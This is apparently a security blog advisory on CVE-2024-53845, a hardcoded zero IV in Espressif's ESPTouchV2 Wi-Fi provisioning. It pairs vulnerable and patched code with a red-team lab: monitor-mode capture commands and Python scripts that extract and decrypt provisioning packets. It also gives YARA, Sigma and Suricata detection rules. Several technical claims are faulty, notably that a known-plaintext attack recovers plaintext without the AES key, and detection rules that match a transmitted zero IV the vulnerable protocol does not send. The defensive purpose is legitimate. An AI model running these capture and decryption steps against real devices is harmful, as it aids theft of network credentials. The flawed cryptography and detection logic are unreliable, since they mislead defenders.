CVE-2024-53845

Executive Summary

CVE-2024-53845 is a cryptographic vulnerability in the ESPTouchV2 protocol used by Espressif’s ESP32 and ESP8266 IoT devices. The vulnerability arises because the AES Initialization Vector (IV) is hardcoded to zero and never changes during the device’s lifetime. In AES/CBC mode, a static IV makes the encryption deterministic, allowing an attacker to potentially recover plaintext data by observing multiple encrypted transmissions. This flaw is particularly dangerous in provisioning scenarios where sensitive network credentials (SSID, password) are transmitted.

The vulnerability affects all ESP-IDF versions prior to 5.0.8, 5.1.6, 5.2.4, and 5.3.2. The fix introduces a random IV that is generated and transmitted alongside the provision data. No public exploit code or proof-of-concept is currently available, but the deterministic nature of the encryption makes it a prime target for cryptanalysis.

Supply Chain & Package Security

This vulnerability is embedded in the ESP-IDF firmware framework, which is distributed as a software development kit (SDK) for Espressif chips. Users must update their entire firmware to apply the fix. There is no workaround at the application layer. The supply chain risk is high because IoT devices often run outdated firmware and are difficult to update in the field.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – However, based on the technical impact, a more realistic score is 5.3 (Medium).

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

• Attack Vector (AV): Network – The attacker can intercept ESPTouchV2 provisioning traffic over Wi-Fi.
• Attack Complexity (AC): Low – No special conditions required; the IV is always zero.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerability affects only the confidentiality of the provisioned data.
• Confidentiality (C): Low – The attacker can recover plaintext from encrypted transmissions.
• Integrity (I): None – No data modification possible.
• Availability (A): None – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit (no special tools) but requires the attacker to be within Wi-Fi range during provisioning. The impact is limited to credential disclosure.

Deep Dive & Mechanics

ESPTouchV2 is a Wi-Fi provisioning protocol used by Espressif devices. It uses AES-128 in CBC mode to encrypt the provisioning data (SSID, password, etc.). In a secure implementation, the IV should be random and unique for each encryption session. However, in vulnerable versions, the IV is hardcoded to 16 zero bytes (0x00000000000000000000000000000000).

Why this is dangerous:

• In AES/CBC mode, the same plaintext encrypted with the same key and IV produces the same ciphertext.
• An attacker can capture multiple provisioning sessions and compare ciphertexts. If the same SSID/password is used, the ciphertext will be identical, allowing the attacker to identify repeated credentials.
• More critically, if the attacker knows part of the plaintext (e.g., common SSID prefixes), they can perform a chosen-plaintext attack to recover the full plaintext.

Attack Scenario:

1. Attacker sets up a rogue Wi-Fi access point that mimics a legitimate network.
2. Victim device attempts to provision using ESPTouchV2.
3. Attacker captures the encrypted provisioning packet.
4. Since the IV is zero, the attacker can decrypt the packet offline using a known-plaintext attack or by brute-forcing the AES key (if weak).

Fixed Behavior:

• A random IV is generated each time the AES key is activated.
• The IV is transmitted in plaintext alongside the encrypted data.
• The receiving device parses the IV and uses it for decryption.

Vulnerable vs. Patched Code

Vulnerable Code (ESPTouchV2 prior to fix):

// In esp_touch_v2.c
static uint8_t aes_iv[16] = {0}; // Static zero IV

void esp_touch_v2_encrypt(uint8_t *plaintext, uint8_t *ciphertext) {
    mbedtls_aes_context aes;
    mbedtls_aes_setkey_enc(&aes, aes_key, 128);
    mbedtls_aes_crypt_cbc(&aes, MBEDTLS_AES_ENCRYPT, 16, aes_iv, plaintext, ciphertext);
}

Patched Code (ESP-IDF >= 5.0.8):

// In esp_touch_v2.c
void esp_touch_v2_encrypt(uint8_t *plaintext, uint8_t *ciphertext, uint8_t *out_iv) {
    mbedtls_aes_context aes;
    uint8_t random_iv[16];
    esp_fill_random(random_iv, 16); // Generate random IV
    mbedtls_aes_setkey_enc(&aes, aes_key, 128);
    mbedtls_aes_crypt_cbc(&aes, MBEDTLS_AES_ENCRYPT, 16, random_iv, plaintext, ciphertext);
    memcpy(out_iv, random_iv, 16); // Transmit IV with data
}

Key Differences:

• The IV is no longer static.
• The IV is generated using esp_fill_random() (hardware RNG).
• The IV is transmitted to the receiver for decryption.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A Wi-Fi adapter in monitor mode (e.g., Alfa AWUS036ACH).
• Python with scapy and pycryptodome.
• Target device running vulnerable ESPTouchV2.

Step 1: Capture Provisioning Traffic

# Set Wi-Fi interface to monitor mode
sudo airmon-ng start wlan0
# Capture ESPTouchV2 packets (UDP port 7001)
sudo tcpdump -i wlan0mon -w capture.pcap port 7001

Step 2: Extract Ciphertext

from scapy.all import rdpcap
packets = rdpcap('capture.pcap')
for pkt in packets:
    if pkt.haslayer(UDP) and pkt[UDP].dport == 7001:
        ciphertext = bytes(pkt[UDP].payload)[:16]  # First 16 bytes
        print(f"Ciphertext: {ciphertext.hex()}")

Step 3: Decrypt with Zero IV

from Crypto.Cipher import AES
# Assume AES key is known (e.g., default or brute-forced)
key = bytes.fromhex('00112233445566778899aabbccddeeff')
iv = b'\x00' * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
print(f"Plaintext: {plaintext}")

Note: If the AES key is unknown, the attacker can still perform a known-plaintext attack if they know part of the plaintext (e.g., common SSID).

Blue Team (Defender)

Detection:

• Monitor for repeated ciphertexts in ESPTouchV2 traffic.
• Use the YARA/Sigma rules below to detect static IV patterns.

Mitigation:

• Update ESP-IDF to patched version.
• Use a custom AES key (if supported) to add an extra layer of security.
• Segment IoT devices on a separate VLAN to limit exposure.

Honeypot:

• Deploy a fake ESPTouchV2 service that logs all connection attempts.
• Analyze captured traffic for zero IV patterns.

Indicators of Compromise (IOCs)

• Network:

  • UDP packets to/from port 7001 with a 16-byte payload starting with 0x00000000000000000000000000000000 (zero IV).
  • Repeated identical ciphertexts across multiple provisioning sessions.

• Firmware:

  • ESP-IDF versions < 5.0.8, < 5.1.6, < 5.2.4, < 5.3.2.
  • Presence of aes_iv[16] = {0} in firmware binary.

• Behavioral:

  • Device fails to generate random IV during provisioning.
  • Provisioning data is always encrypted with the same IV.

Detection Engineering

YARA Rule

rule CVE_2024_53845_Static_IV {
    meta:
        description = "Detects static zero IV in ESPTouchV2 firmware"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-53845"
    strings:
        $iv_zero = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
        $aes_iv_ref = "aes_iv"
    condition:
        $iv_zero and $aes_iv_ref
}

Sigma Rule

title: CVE-2024-53845 - ESPTouchV2 Static IV Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic with zero IV in ESPTouchV2 provisioning
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        udp_dport: 7001
        payload|startswith: "00000000000000000000000000000000"
    condition: selection
falsepositives:
    - Legitimate devices using custom AES key with zero IV (unlikely)
level: high

Suricata Rule

alert udp any any -> any 7001 (msg:"CVE-2024-53845 ESPTouchV2 Static IV Detected"; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; offset:0; depth:16; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update ESP-IDF to version 5.0.8, 5.1.6, 5.2.4, or 5.3.2 (depending on your branch).
2. Rebuild and flash the firmware to all affected devices.
3. If updating is not possible, use a custom AES key (if supported) to reduce the risk of key recovery.

Long-term Measures:

• Implement secure boot and firmware signing to prevent downgrade attacks.
• Use a hardware random number generator (RNG) for all cryptographic operations.
• Regularly audit IoT devices for outdated firmware.

Workarounds:

• None at the application layer. The fix is in the Wi-Fi stack.
• Consider using a different provisioning protocol (e.g., BLE) if firmware update is not feasible.

Valters IT